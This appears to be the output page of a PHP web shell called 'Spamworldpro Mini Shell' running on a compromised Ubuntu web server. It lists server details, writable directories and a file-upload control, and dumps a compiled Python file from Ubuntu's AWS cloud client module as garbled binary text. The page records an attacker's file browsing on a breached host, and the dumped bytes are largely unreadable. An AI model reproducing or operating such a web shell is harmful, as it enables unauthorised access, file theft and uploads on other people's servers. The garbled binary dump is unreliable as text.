Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/uaclient/clouds/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/uaclient/clouds/__pycache__/aws.cpython-310.pyc
o

��pf��@s�ddlZddlmZmZddlmZmZmZmZm	Z	ddl
mZdZdZ
ee
fZdZdZd	Zd
ZdZdZd
ZedZe�e	�e��ZGdd�de�ZdS)�N)�Any�Dict)�
exceptions�http�secret_manager�system�util)�AutoAttachCloudInstancez169.254.169.254z[fd00:ec2::254]zhttp://{}/latest/api/tokenz0http://{}/latest/dynamic/instance-identity/pkcs7z/sys/hypervisor/uuidz /sys/class/dmi/id/product_serialz/sys/class/dmi/id/product_uuid�21600zX-aws-ec2-metadata-tokenz-ttl-secondsc@s�eZdZdZdZdd�Zeeje	j
gd�d�deee
ffdd���Zd	d
�Zeje	j
gd�d�dd
��Zedefdd��Zedefdd��Zdefdd�Zdedefdd�ZdS)�UAAutoAttachAWSInstanceNcCsB|��}tjt�|j�|dd�}|jdkr|jStj	|j|jd��)N�)�headers�timeout����code�body)
�_request_imds_v2_token_headersr�readurl�IMDS_URL�format�_ip_addressrrr�CloudMetadataError)�selfr
�response�r�5/usr/lib/python3/dist-packages/uaclient/clouds/aws.py�_get_imds_url_responses�
�z.UAAutoAttachAWSInstance._get_imds_url_response)g�?rr)�retry_sleeps�returncCs|��}tj�|�d|iS)N�pkcs7)rr�secrets�
add_secret)r�imds_url_responserrr�identity_doc+sz$UAAutoAttachAWSInstance.identity_doccCs|tD]+}z|j|d�}Wnty)}zt�d|t|dd��WYd}~qd}~ww||_|jdur<tjd�	t�d��|S)N)�
ip_addressz*Could not reach AWS IMDS at http://%s: %s
�reason�z, )�	addresses)
�IMDS_IP_ADDRESS�_get_imds_v2_token_headers�	Exception�LOG�warning�getattrrr�AWSNoValidIMDS�join)r�addressr
�errrr2s$
���
�z6UAAutoAttachAWSInstance._request_imds_v2_token_headers)r��cCs�|jdkrdS|jrt|jiStjt�|�dttidd�}|jdkr2|j	|_t
j�|j�t|jiS|jdkr<d|_dSt
j|j|j	d��)N�IMDSv1�PUTr)�methodr
rri�r)�
_api_token�AWS_TOKEN_PUT_HEADERrr�IMDS_V2_TOKEN_URLr�AWS_TOKEN_REQ_HEADER�AWS_TOKEN_TTL_SECONDSrrrr!r"rr)rr%rrrrr*Es(

�


�z2UAAutoAttachAWSInstance._get_imds_v2_token_headerscC�dS)N�awsr�rrrr�
cloud_type^�z"UAAutoAttachAWSInstance.cloud_typecCs�zt�t�}d|dd�krWdSWn	tyYnwt�t���}t�t���}d|dd�kr=|dd�kr@dSdSdS)z$This machine is a viable AWSInstance�ec2r�TF)r�	load_file�SYS_HYPERVISOR_PRODUCT_UUID�FileNotFoundError�DMI_PRODUCT_UUID�lower�DMI_PRODUCT_SERIAL)r�hypervisor_uuid�dmi_uuid�
dmi_serialrrr�	is_viablebs
��"�z!UAAutoAttachAWSInstance.is_viablecCr=)�UnsupportedFrr?rrr�should_poll_for_pro_licensetrAz3UAAutoAttachAWSInstance.should_poll_for_pro_license�wait_for_changecCst���)N)r�InPlaceUpgradeNotSupportedError)rrPrrr�is_pro_license_presentxsz.UAAutoAttachAWSInstance.is_pro_license_present)�__name__�
__module__�__qualname__r8rr�propertyr�retryrrr�strrr$rr*r@�boolrMrOrRrrrrrs 
r)�logging�typingrr�uaclientrrrrr�uaclient.cloudsr	�IMDS_IPV4_ADDRESS�IMDS_IPV6_ADDRESSr)r:rrErIrGr<r9r;�	getLogger�replace_top_level_logger_namerSr,rrrrr�<module>s"

Spamworldpro Mini